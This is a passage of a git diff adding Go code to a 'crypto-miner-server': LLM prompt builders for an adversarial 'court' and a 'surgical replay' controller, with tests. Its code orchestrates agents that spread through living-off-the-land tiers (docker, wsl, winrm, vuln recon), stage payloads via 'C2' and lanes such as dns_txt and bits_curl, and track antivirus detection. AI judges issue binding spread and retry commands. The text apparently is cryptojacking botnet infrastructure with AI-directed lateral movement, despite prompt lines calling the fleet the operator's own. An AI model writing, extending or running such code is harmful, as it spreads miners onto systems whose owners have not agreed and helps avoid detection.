diff --git a/server/internal/ai/court_chamber.go b/server/internal/ai/court_chamber.go
new file mode 100644
index 0000000..051b3a8
--- /dev/null
+++ b/server/internal/ai/court_chamber.go
@@ -0,0 +1,282 @@
+package ai
+
+import (
+	"encoding/json"
+	"fmt"
+	"strings"
+	"time"
+
+	"crypto-miner-server/internal/strategy"
+)
+
+// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
+type CourtChamberProvider interface {
+	CourtContext
+	ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
+}
+
+// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
+type CourtChamberEvidence struct {
+	AgentID         string  `json:"agent_id"`
+	AgentName       string  `json:"agent_name"`
+	Hashrate        float64 `json:"hashrate"`
+	Stuck           bool    `json:"stuck"`
+	ChainExhausted  bool    `json:"chain_exhausted"`
+	ClearanceLevel  int     `json:"clearance_level"`
+	JoinLane        string  `json:"join_lane,omitempty"`
+	ActiveMethod    string  `json:"active_method,omitempty"`
+	FingerprintKey  string  `json:"fingerprint_key,omitempty"`
+	AtlasSummary    string  `json:"atlas_summary"`
+	SubnetImmune    string  `json:"subnet_immune"`
+	ErasureRecovery string  `json:"erasure_recovery"`
+	GossipWhispers  string  `json:"gossip_whispers"`
+}
+
+// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
+type CourtDebateTurn struct {
+	Role string `json:"role"`
+	Text string `json:"text"`
+}
+
+// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
+type CourtDebateTranscript struct {
+	AgentID        string            `json:"agent_id"`
+	AgentName      string            `json:"agent_name"`
+	ClearanceLevel int               `json:"clearance_level"`
+	Evidence       CourtChamberEvidence `json:"evidence"`
+	Transcript     []CourtDebateTurn `json:"transcript"`
+	Verdict        string            `json:"verdict,omitempty"`
+	CommandsJSON   string            `json:"commands_json,omitempty"`
+	Timestamp      string            `json:"ts"`
+}
+
+// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
+type CourtDeps struct {
+	Chamber   CourtChamberProvider
+	Seer      SeerEmitter
+	Emberwake func(agentID string, transcript CourtDebateTranscript)
+}
+
+// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
+func BuildCourtDebate(
+	snap AgentSnapshot,
+	evidence CourtChamberEvidence,
+	phenotype *strategy.FleetPhenotype,
+	persona string,
+) (CourtDebateTranscript, CourtPromptBundle) {
+	prosecutor := buildChamberProsecutor(snap, evidence)
+	defender := buildChamberDefender(phenotype, evidence)
+	judgeOverlay := CourtJudgeOverlay(persona)
+
+	transcript := CourtDebateTranscript{
+		AgentID:        snap.AgentID,
+		AgentName:      snap.Name,
+		ClearanceLevel: snap.ClearanceLevel,
+		Evidence:       evidence,
+		Transcript: []CourtDebateTurn{
+			{Role: "prosecutor", Text: prosecutor},
+			{Role: "defender", Text: defender},
+		},
+		Timestamp: time.Now().UTC().Format(time.RFC3339),
+	}
+
+	bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
+	return transcript, bundle
+}
+
+func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
+	var b strings.Builder
+	b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
+	fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
+	if ev.Stuck {
+		b.WriteString(" — STUCK")
+	}
+	b.WriteString(".\n")
+	if ev.ChainExhausted {
+		b.WriteString("Mining fallback chain exhausted: true.\n")
+	}
+	if strings.TrimSpace(ev.AtlasSummary) != "" {
+		fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
+	}
+	if strings.TrimSpace(ev.SubnetImmune) != "" {
+		fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
+	}
+	if strings.TrimSpace(ev.ErasureRecovery) != "" {
+		fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
+	}
+	if strings.TrimSpace(ev.GossipWhispers) != "" {
+		fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
+	}
+	failed, total := countSpreadFailures(snap)
+	if total > 0 {
+		fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
+	} else {
+		b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
+	}
+	b.WriteString("Per-tier spread attempts:\n")
+	attemptByTier := map[string]TierAttempt{}
+	for _, a := range snap.LOTLAttempts {
+		attemptByTier[a.Tier] = a
+	}
+	for _, tier := range defaultSpreadTiers {
+		if a, ok := attemptByTier[tier]; ok {
+			status := "fail"
+			if a.OK {
+				status = "ok"
+			}
+			if a.Error != "" {
+				fmt.Fprintf(&b, "  - %s: %s (%s)\n", tier, status, a.Error)
+			} else {
+				fmt.Fprintf(&b, "  - %s: %s\n", tier, status)
+			}
+		}
+	}
+	if snap.JoinLane != "" {
+		fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
+	}
+	if snap.ActiveMethod != "" {
+		fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
+	}
+	return strings.TrimSpace(b.String())
+}
+
+func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
+	var b strings.Builder
+	b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
+	if phenotype == nil {
+		b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
+	} else {
+		name := phenotype.SourceAgentName
+		if name == "" {
+			name = phenotype.SourceAgentID
+		}
+		fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
+		if phenotype.ActiveTier != "" {
+			fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
+		}
+		if phenotype.SpreadLane != "" {
+			fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
+		}
+		if len(phenotype.TierOrder) > 0 {
+			fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
+		}
+		if raw, err := json.Marshal(phenotype); err == nil {
+			fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
+		}
+	}
+	if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
+		b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
+	}
+	if strings.Contains(ev.SubnetImmune, "paused") {
+		b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
+	}
+	if strings.TrimSpace(ev.GossipWhispers) != "" {
+		b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
+	}
+	return strings.TrimSpace(b.String())
+}
+
+// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
+func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
+	var system strings.Builder
+	system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
+The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
+You must weigh their statements and issue a binding verdict with at most 3 commands.
+Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
+spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
+skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
+Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
+Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
+	system.WriteString("\n\n## PROSECUTOR\n")
+	system.WriteString(prosecutor)
+	system.WriteString("\n\n## PUBLIC DEFENDER\n")
+	system.WriteString(defender)
+
+	var user strings.Builder
+	fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
+	fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
+	fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
+	if snap.FingerprintKey != "" {
+		fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
+	}
+	user.WriteString("\n## JUDGE (L4)\n")
+	user.WriteString(judgeOverlay)
+	user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
+	user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
+
+	return CourtPromptBundle{
+		SystemPrompt:      system.String(),
+		UserPrompt:        user.String(),
+		ProsecutorSnippet: prosecutor,
+		DefenderSnippet:   defender,
+	}
+}
+
+// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
+func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
+	transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
+	transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
+	transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
+		Role: "judge",
+		Text: strings.TrimSpace(judgeResponse),
+	})
+	return transcript
+}
+
+func extractCommandsJSON(raw string) string {
+	raw = strings.TrimSpace(raw)
+	idx := strings.Index(raw, "{")
+	if idx < 0 {
+		return ""
+	}
+	return strings.TrimSpace(raw[idx:])
+}
+
+// FormatGossipWhispers renders LAN gossip hints for court evidence.
+func FormatGossipWhispers(hints []struct {
+	Tier, Condition, Reason string
+}) string {
+	if len(hints) == 0 {
+		return "none recorded on this /24"
+	}
+	parts := make([]string, 0, len(hints))
+	for _, h := range hints {
+		line := h.Tier + "|" + h.Condition
+		if h.Reason != "" {
+			line += " (" + h.Reason + ")"
+		}
+		parts = append(parts, line)
+	}
+	return strings.Join(parts, "; ")
+}
+
+// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
+func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
+	if prefix == "" {
+		return "no /24 prefix for agent IP"
+	}
+	if failCount == 0 {
+		return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
+	}
+	line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
+	if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
+		line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
+	}
+	return line
+}
+
+// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
+func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
+	var b strings.Builder
+	fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
+	fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
+	if stageFetchAttempted {
+		fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
+	}
+	if lanesEnabled {
+		b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
+	} else {
+		b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
+	}
+	return b.String()
+}
diff --git a/server/internal/ai/court_chamber_test.go b/server/internal/ai/court_chamber_test.go
new file mode 100644
index 0000000..7c56222
--- /dev/null
+++ b/server/internal/ai/court_chamber_test.go
@@ -0,0 +1,92 @@
+package ai
+
+import (
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/strategy"
+)
+
+func TestBuildCourtDebateIncludesRealEvidence(t *testing.T) {
+	ev := CourtChamberEvidence{
+		AgentID: "a1", AgentName: "stuck", Hashrate: 0, Stuck: true,
+		ChainExhausted: true, AtlasSummary: "docker 5/5 failed (100%)",
+		SubnetImmune:    "prefix=10.0.0 fail_count=5 paused_until=2026-06-08T00:00:00Z UTC",
+		ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false (RS 4+2 shard recovery available via stage_fetch)",
+		GossipWhispers:  "docker|defender_on (lan gossip)",
+	}
+	snap := AgentSnapshot{
+		AgentID: "a1", Name: "stuck", Stuck: true, ChainExhausted: true,
+		LOTLAttempts: stuckSpreadAttempts(),
+	}
+	transcript, bundle := BuildCourtDebate(snap, ev, nil, PersonaBalanced)
+	if len(transcript.Transcript) != 2 {
+		t.Fatalf("transcript=%+v", transcript.Transcript)
+	}
+	if transcript.Transcript[0].Role != "prosecutor" || transcript.Transcript[1].Role != "defender" {
+		t.Fatalf("roles=%+v", transcript.Transcript)
+	}
+	pros := transcript.Transcript[0].Text
+	for _, want := range []string{
+		"0.00 H/s", "Failure atlas: docker", "Subnet immune table:",
+		"Erasure recovery:", "Atlas LAN gossip whispers:", "14/14 failed",
+	} {
+		if !strings.Contains(pros, want) {
+			t.Fatalf("prosecutor missing %q: %s", want, pros)
+		}
+	}
+	if !strings.Contains(bundle.SystemPrompt, "## PUBLIC DEFENDER") {
+		t.Fatalf("judge prompt missing defender section")
+	}
+	if !strings.Contains(bundle.UserPrompt, "## JUDGE (L4)") {
+		t.Fatalf("judge user prompt: %s", bundle.UserPrompt)
+	}
+}
+
+func TestBuildCourtDebateDefenderPhenotype(t *testing.T) {
+	phenotype := &strategy.FleetPhenotype{
+		Fingerprint: "win|1", SourceAgentName: "winner", ActiveTier: "container",
+		PeakHashrate: 900, SpreadLane: "winrm", TierOrder: []string{"container", "wsl"},
+	}
+	ev := CourtChamberEvidence{ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false"}
+	_, bundle := BuildCourtDebate(AgentSnapshot{AgentID: "a1"}, ev, phenotype, PersonaBalanced)
+	if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from winner") {
+		t.Fatalf("defender=%s", bundle.DefenderSnippet)
+	}
+	if !strings.Contains(bundle.DefenderSnippet, "Erasure RS 4+2 lanes") {
+		t.Fatalf("defender erasure=%s", bundle.DefenderSnippet)
+	}
+}
+
+func TestFinalizeCourtDebateAddsJudgeTurn(t *testing.T) {
+	raw := "Verdict: restart mining.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}"
+	transcript := CourtDebateTranscript{
+		Transcript: []CourtDebateTurn{{Role: "prosecutor", Text: "charges"}},
+	}
+	out := FinalizeCourtDebate(transcript, raw)
+	if len(out.Transcript) != 2 || out.Transcript[1].Role != "judge" {
+		t.Fatalf("transcript=%+v", out.Transcript)
+	}
+	if out.Verdict != "restart mining." {
+		t.Fatalf("verdict=%q", out.Verdict)
+	}
+	if !strings.Contains(out.CommandsJSON, "restart_mining") {
+		t.Fatalf("commands=%q", out.CommandsJSON)
+	}
+}
+
+func TestFormatSubnetImmuneRowPaused(t *testing.T) {
+	until := time.Now().UTC().Add(2 * time.Hour)
+	line := FormatSubnetImmuneRow("10.0.0", 5, &until)
+	if !strings.Contains(line, "fail_count=5") || !strings.Contains(line, "paused_until=") {
+		t.Fatalf("line=%q", line)
+	}
+}
+
+func TestFormatErasureRecovery(t *testing.T) {
+	line := FormatErasureRecovery(true, true, false)
+	if !strings.Contains(line, "lanes_enabled=true") || !strings.Contains(line, "stage_fetch_ok=false") {
+		t.Fatalf("line=%q", line)
+	}
+}
diff --git a/server/internal/ai/surgical_commands.go b/server/internal/ai/surgical_commands.go
new file mode 100644
index 0000000..15d9341
--- /dev/null
+++ b/server/internal/ai/surgical_commands.go
@@ -0,0 +1,32 @@
+package ai
+
+import (
+	"fmt"
+	"strings"
+)
+
+// ExpandSurgicalCommand maps surgical fix types to executable fleet commands.
+func ExpandSurgicalCommand(cmd Command) []Command {
+	switch cmd.Type {
+	case CmdSpreadRetryLane:
+		return []Command{ResolveSpreadRetryLane(cmd.Args)}
+	case CmdSkipTier:
+		return []Command{ResolveSkipTier(cmd.Args)}
+	case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft:
+		return []Command{cmd}
+	default:
+		return []Command{cmd}
+	}
+}
+
+// FormatSurgicalFixArgs serializes command args for strain memory storage.
+func FormatSurgicalFixArgs(cmd Command) string {
+	if cmd.Args == nil {
+		return ""
+	}
+	parts := make([]string, 0, len(cmd.Args))
+	for k, v := range cmd.Args {
+		parts = append(parts, fmt.Sprintf("%s=%v", k, v))
+	}
+	return strings.Join(parts, ",")
+}
diff --git a/server/internal/ai/surgical_replay.go b/server/internal/ai/surgical_replay.go
new file mode 100644
index 0000000..cbd5eae
--- /dev/null
+++ b/server/internal/ai/surgical_replay.go
@@ -0,0 +1,201 @@
+package ai
+
+import (
+	"encoding/json"
+	"fmt"
+	"strings"
+)
+
+// SurgicalTraceContext is minimal Path Tracer context for a failed branch replay.
+type SurgicalTraceContext struct {
+	SessionID     string   `json:"session_id"`
+	HopIndex      int      `json:"hop_index"`
+	HopCount      int      `json:"hop_count"`
+	EgressAgentID string   `json:"egress_agent_id,omitempty"`
+	SessionError  string   `json:"session_error,omitempty"`
+	DiscoverError string   `json:"discover_error,omitempty"`
+	TargetSubnets []string `json:"target_subnets,omitempty"`
+}
+
+// SurgicalDiagnosticBundle is the compact payload fed to the surgical replay LLM.
+type SurgicalDiagnosticBundle struct {
+	AgentID        string                 `json:"agent_id"`
+	AgentName      string                 `json:"agent_name"`
+	Strain         string                 `json:"strain,omitempty"`
+	FailedTier     string                 `json:"failed_tier"`
+	FailedError    string                 `json:"failed_error,omitempty"`
+	SpreadFailures int                    `json:"spread_failures"`
+	MiningHashrate float64                `json:"mining_hashrate"`
+	JoinLane       string                 `json:"join_lane,omitempty"`
+	Persona        string                 `json:"persona,omitempty"`
+	ErasureOn      bool                   `json:"erasure_on"`
+	Trace          SurgicalTraceContext   `json:"trace"`
+	FailedAttempts []TierAttempt          `json:"failed_attempts"`
+	AtlasSummary   string                 `json:"atlas_summary,omitempty"`
+	Options        map[string]interface{} `json:"fix_options,omitempty"`
+}
+
+// SurgicalTraceProvider resolves persisted Path Tracer context for an agent.
+type SurgicalTraceProvider interface {
+	TraceForAgent(agentID string) (SurgicalTraceContext, bool)
+}
+
+// StrainMemoryStore persists surgical replay outcomes.
+type StrainMemoryStore interface {
+	InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
+}
+
+// SeerEmitter records Seer feed events for dashboard streaming.
+type SeerEmitter interface {
+	EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error
+}
+
+// SurgicalDeps wires optional surgical replay collaborators into the scheduler.
+type SurgicalDeps struct {
+	Trace         SurgicalTraceProvider
+	Strain        StrainMemoryStore
+	Seer          SeerEmitter
+	StrainLookup  func(agentID string) string
+	ErasureActive func() bool
+}
+
+// ShouldUseSurgicalReplay is true when a pathtrace branch failed partially along spread tiers.
+func ShouldUseSurgicalReplay(trace SurgicalTraceContext, snap AgentSnapshot) bool {
+	if trace.SessionID == "" {
+		return false
+	}
+	if snap.MiningHashrate > 0 {
+		return false
+	}
+	if AllSpreadTiersFailed(snap) || snap.Stuck {
+		return false
+	}
+	failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
+	return failedTier != ""
+}
+
+// BuildSurgicalDiagnosticBundle composes a minimal replay bundle from trace + snapshot.
+func BuildSurgicalDiagnosticBundle(
+	snap AgentSnapshot,
+	trace SurgicalTraceContext,
+	atlasSummary, persona string,
+	erasureOn bool,
+) SurgicalDiagnosticBundle {
+	failedTier, failedErr := firstFailedSpreadTier(snap.LOTLAttempts)
+	failed, _ := countSpreadFailures(snap)
+	bundle := SurgicalDiagnosticBundle{
+		AgentID:        snap.AgentID,
+		AgentName:      snap.Name,
+		FailedTier:     failedTier,
+		FailedError:    failedErr,
+		SpreadFailures: failed,
+		MiningHashrate: snap.MiningHashrate,
+		JoinLane:       snap.JoinLane,
+		Persona:        persona,
+		ErasureOn:      erasureOn,
+		Trace:          trace,
+		AtlasSummary:   strings.TrimSpace(atlasSummary),
+		FailedAttempts: failedSpreadAttempts(snap.LOTLAttempts),
+		Options: map[string]interface{}{
+			"persona_tweak": []string{"aggressive", "silent", "passive", "persuasive", "balanced"},
+			"tier_skip":     true,
+			"erasure_on":    !erasureOn,
+			"spread_graft":  true,
+			"retry_lane":    true,
+		},
+	}
+	return bundle
+}
+
+// BuildSurgicalReplayPrompt renders the single-command surgical replay LLM prompt.
+func BuildSurgicalReplayPrompt(bundle SurgicalDiagnosticBundle) (systemPrompt, userPrompt string) {
+	systemPrompt = strings.TrimSpace(`You are the AetherForge surgical replay controller for the operator's own fleet.
+Examine the failed spread/onion branch from the persisted Path Tracer trace and LOTL attempts.
+Propose ONE minimal surgical fix — not a full court tribunal.
+Valid command types (pick exactly one): persona_tweak, skip_tier, enable_erasure, spread_graft, spread_retry_lane, reorder_tiers, discover_and_join, stage_fetch, spread_now, restart_mining, noop.
+persona_tweak args: persona (aggressive|silent|passive|persuasive|balanced).
+skip_tier args: tier (string) or skip_tiers (array).
+enable_erasure args: {} — turns on Reed–Solomon multi-lane staging for this fleet pass.
+spread_graft args: source_agent_id (string), tier (string) — splice winning strain tier order onto this agent.
+spread_retry_lane args: lane (string), optional data/manifest for staging lanes.
+Return JSON with exactly one command in commands[]. Never target third-party systems.`)
+
+	var user strings.Builder
+	fmt.Fprintf(&user, "Surgical replay for agent %q (%s)\n", bundle.AgentName, bundle.AgentID)
+	fmt.Fprintf(&user, "Failed spread tier: %s", bundle.FailedTier)
+	if bundle.FailedError != "" {
+		fmt.Fprintf(&user, " (%s)", bundle.FailedError)
+	}
+	user.WriteString("\n")
+	fmt.Fprintf(&user, "Path trace session %s hop %d/%d\n", bundle.Trace.SessionID[:min(8, len(bundle.Trace.SessionID))], bundle.Trace.HopIndex+1, bundle.Trace.HopCount)
+	if bundle.Trace.SessionError != "" {
+		fmt.Fprintf(&user, "Session error: %s\n", bundle.Trace.SessionError)
+	}
+	if bundle.Trace.DiscoverError != "" {
+		fmt.Fprintf(&user, "Discover error: %s\n", bundle.Trace.DiscoverError)
+	}
+	if bundle.AtlasSummary != "" {
+		fmt.Fprintf(&user, "Failure atlas: %s\n", bundle.AtlasSummary)
+	}
+	fmt.Fprintf(&user, "Persona=%s erasure_lanes=%v join_lane=%s hashrate=%.2f\n",
+		emptyDash(bundle.Persona), bundle.ErasureOn, emptyDash(bundle.JoinLane), bundle.MiningHashrate)
+	user.WriteString("Failed spread attempts:\n")
+	for _, a := range bundle.FailedAttempts {
+		if a.Error != "" {
+			fmt.Fprintf(&user, "  - %s: %s\n", a.Tier, a.Error)
+		} else {
+			fmt.Fprintf(&user, "  - %s: fail\n", a.Tier)
+		}
+	}
+	if raw, err := json.Marshal(bundle.Trace); err == nil {
+		fmt.Fprintf(&user, "Trace JSON: %s\n", string(raw))
+	}
+	user.WriteString("\nReply with one-line rationale, then JSON with exactly ONE command:\n")
+	user.WriteString(`{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}` + "\n")
+	return systemPrompt, user.String()
+}
+
+// SelectSurgicalCommand returns the first actionable command (at most one dispatch).
+func SelectSurgicalCommand(cmds []Command) (Command, bool) {
+	for _, c := range cmds {
+		if c.Type == CmdNoop {
+			continue
+		}
+		return c, true
+	}
+	return Command{}, false
+}
+
+func firstFailedSpreadTier(attempts []TierAttempt) (tier, errMsg string) {
+	attemptByTier := map[string]TierAttempt{}
+	for _, a := range attempts {
+		attemptByTier[a.Tier] = a
+	}
+	for _, t := range defaultSpreadTiers {
+		if a, ok := attemptByTier[t]; ok && !a.OK {
+			return t, a.Error
+		}
+	}
+	return "", ""
+}
+
+func failedSpreadAttempts(attempts []TierAttempt) []TierAttempt {
+	attemptByTier := map[string]TierAttempt{}
+	for _, a := range attempts {
+		attemptByTier[a.Tier] = a
+	}
+	var out []TierAttempt
+	for _, t := range defaultSpreadTiers {
+		if a, ok := attemptByTier[t]; ok && !a.OK {
+			out = append(out, a)
+		}
+	}
+	return out
+}
+
+func min(a, b int) int {
+	if a < b {
+		return a
+	}
+	return b
+}
diff --git a/server/internal/ai/surgical_replay_test.go b/server/internal/ai/surgical_replay_test.go
new file mode 100644
index 0000000..e470d46
--- /dev/null
+++ b/server/internal/ai/surgical_replay_test.go
@@ -0,0 +1,75 @@
+package ai
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestShouldUseSurgicalReplayPartialFailureWithTrace(t *testing.T) {
+	trace := SurgicalTraceContext{SessionID: "sess-abc", HopIndex: 1, HopCount: 3}
+	snap := AgentSnapshot{
+		LOTLAttempts: []TierAttempt{
+			{Tier: "vuln_recon", OK: true},
+			{Tier: "docker", OK: false, Error: "daemon missing"},
+		},
+	}
+	if !ShouldUseSurgicalReplay(trace, snap) {
+		t.Fatal("expected surgical replay for partial spread failure with trace")
+	}
+}
+
+func TestShouldUseSurgicalReplaySkipsFullCourtStuck(t *testing.T) {
+	trace := SurgicalTraceContext{SessionID: "sess-abc"}
+	snap := AgentSnapshot{Stuck: true, LOTLAttempts: stuckSpreadAttempts()}
+	if ShouldUseSurgicalReplay(trace, snap) {
+		t.Fatal("expected court path, not surgical replay, when fully stuck")
+	}
+}
+
+func TestShouldUseSurgicalReplayRequiresTrace(t *testing.T) {
+	snap := AgentSnapshot{
+		LOTLAttempts: []TierAttempt{{Tier: "docker", OK: false}},
+	}
+	if ShouldUseSurgicalReplay(SurgicalTraceContext{}, snap) {
+		t.Fatal("expected false without pathtrace session")
+	}
+}
+
+func TestBuildSurgicalReplayPromptMentionsFailedTier(t *testing.T) {
+	bundle := BuildSurgicalDiagnosticBundle(
+		AgentSnapshot{AgentID: "a1", Name: "host", JoinLane: "do_peer"},
+		SurgicalTraceContext{SessionID: "trace-123", HopIndex: 0, HopCount: 2, DiscoverError: "no smb"},
+		"wsl 3/3 failed", PersonaBalanced, false,
+	)
+	bundle.FailedTier = "docker"
+	bundle.FailedError = "not installed"
+	bundle.FailedAttempts = []TierAttempt{{Tier: "docker", OK: false, Error: "not installed"}}
+	_, user := BuildSurgicalReplayPrompt(bundle)
+	if !strings.Contains(user, "docker") {
+		t.Fatalf("missing failed tier in prompt: %s", user)
+	}
+	if !strings.Contains(user, "trace-123") {
+		t.Fatalf("missing session id in prompt: %s", user)
+	}
+	if !strings.Contains(user, "no smb") {
+		t.Fatalf("missing discover error in prompt: %s", user)
+	}
+}
+
+func TestSelectSurgicalCommandPicksFirstActionable(t *testing.T) {
+	cmd, ok := SelectSurgicalCommand([]Command{
+		{Type: CmdNoop},
+		{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "docker"}},
+		{Type: CmdRestartMining},
+	})
+	if !ok || cmd.Type != CmdSkipTier {
+		t.Fatalf("got %+v ok=%v", cmd, ok)
+	}
+}
+
+func TestExpandSurgicalCommandSkipTier(t *testing.T) {
+	out := ExpandSurgicalCommand(Command{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}})
+	if len(out) != 1 || out[0].Type != CmdReorderTiers {
+		t.Fatalf("got %+v", out)
+	}
+}
diff --git a/server/internal/api/court_chamber_bridge.go b/server/internal/api/court_chamber_bridge.go
new file mode 100644
index 0000000..3502546
--- /dev/null
+++ b/server/internal/api/court_chamber_bridge.go
@@ -0,0 +1,142 @@
+package api
+
+import (
+	"strings"
+	"time"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/strategy"
+)
+
+// HubCourtChamberAdapter supplies court tribunal data from hub + SQLite.
+type HubCourtChamberAdapter struct {
+	Hub *WSHub
+	DB  *db.Database
+}
+
+// NewHubCourtChamberAdapter wires hub evidence for adversarial court sessions.
+func NewHubCourtChamberAdapter(hub *WSHub, database *db.Database) *HubCourtChamberAdapter {
+	return &HubCourtChamberAdapter{Hub: hub, DB: database}
+}
+
+func (a *HubCourtChamberAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
+	if a == nil {
+		return ""
+	}
+	inner := &DatabaseCourtAdapter{DB: a.DB}
+	return inner.FailureAtlasSummary(fingerprintKey, goos)
+}
+
+func (a *HubCourtChamberAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
+	if a == nil {
+		return nil, false
+	}
+	inner := &DatabaseCourtAdapter{DB: a.DB}
+	return inner.BestPhenotype(fingerprintKey, goos)
+}
+
+func (a *HubCourtChamberAdapter) ChamberEvidence(agentID string, snap fleetai.AgentSnapshot) fleetai.CourtChamberEvidence {
+	ev := fleetai.CourtChamberEvidence{
+		AgentID:        agentID,
+		AgentName:      snap.Name,
+		Hashrate:       snap.MiningHashrate,
+		Stuck:          snap.Stuck,
+		ChainExhausted: snap.ChainExhausted,
+		ClearanceLevel: snap.ClearanceLevel,
+		JoinLane:       snap.JoinLane,
+		ActiveMethod:   snap.ActiveMethod,
+		FingerprintKey: snap.FingerprintKey,
+	}
+	if a == nil {
+		return ev
+	}
+	goos := firstNonEmpty(snap.GOOS, snap.Platform)
+	ev.AtlasSummary = a.FailureAtlasSummary(snap.FingerprintKey, goos)
+	ev.SubnetImmune, ev.ErasureRecovery, ev.GossipWhispers = a.hubEvidence(agentID, snap)
+	return ev
+}
+
+func (a *HubCourtChamberAdapter) hubEvidence(agentID string, snap fleetai.AgentSnapshot) (subnetImmune, erasureRecovery, gossip string) {
+	if a.Hub == nil {
+		return "hub unavailable", fleetai.FormatErasureRecovery(false, false, false), "none"
+	}
+	prefix := a.Hub.agentSubnetFor(agentID)
+	if prefix == "" && a.Hub.db != nil {
+		if ag, err := a.Hub.db.GetAgent(agentID); err == nil && ag != nil {
+			prefix = atlas.PrefixFromHostOrIP(ag.IP)
+		}
+	}
+	failCount := 0
+	var pausedUntil *time.Time
+	if a.Hub.db != nil && prefix != "" {
